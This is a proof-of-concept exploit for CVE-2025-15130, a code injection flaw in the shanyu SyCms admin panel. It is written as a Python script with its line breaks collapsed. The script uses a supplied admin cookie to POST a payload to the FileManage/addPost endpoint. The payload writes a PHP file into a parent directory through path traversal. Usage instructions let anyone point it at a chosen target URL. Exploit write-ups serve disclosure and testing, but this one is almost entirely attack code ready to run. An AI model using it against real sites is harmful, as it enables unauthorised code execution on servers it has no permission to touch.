CVE-2025-15130 shanyu SyCms管理员面板FileManageController.addPost代码注入漏洞

#!/usr/bin/env python3 # CVE-2025-15130 PoC - shanyu SyCms Code Injection # Target: shanyu SyCms up to a242ef2d194e8bb249dc175e7c49f2c1673ec921 # Component: Application/Admin/Controller/FileManageController.class.php # Function: addPost import requests import sys def exploit(target_url, admin_cookie): """ Exploit code injection in FileManageController.addPost function """ # Construct malicious payload for code injection payload = { 'filename': 'test.php', 'content': '<?php phpinfo(); ?>', # Malicious PHP code 'path': '../' # Path traversal to write outside intended directory } # Target endpoint endpoint = f"{target_url}/index.php/Admin/FileManage/addPost" # Send exploit request headers = { 'Cookie': admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Exploit sent successfully to {endpoint}") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Exploit failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python3 {sys.argv[0]} <target_url> <admin_cookie>") print(f"Example: python3 {sys.argv[0]} http://target.com 'PHPSESSID=xxx'") sys.exit(1) target_url = sys.argv[1] admin_cookie = sys.argv[2] exploit(target_url, admin_cookie)